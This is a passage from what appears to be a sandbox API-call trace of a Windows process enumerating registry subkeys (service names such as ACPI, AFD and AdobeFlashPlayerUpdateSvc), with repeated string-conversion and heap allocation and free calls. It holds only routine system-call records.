RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0231.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0231.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.750] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.750] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.750] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0231.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.751] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.751] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.751] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.751] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0231.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.752] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.752] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.752] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0231.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.753] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.753] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.753] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0231.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.753] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0231.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0231.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0231.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 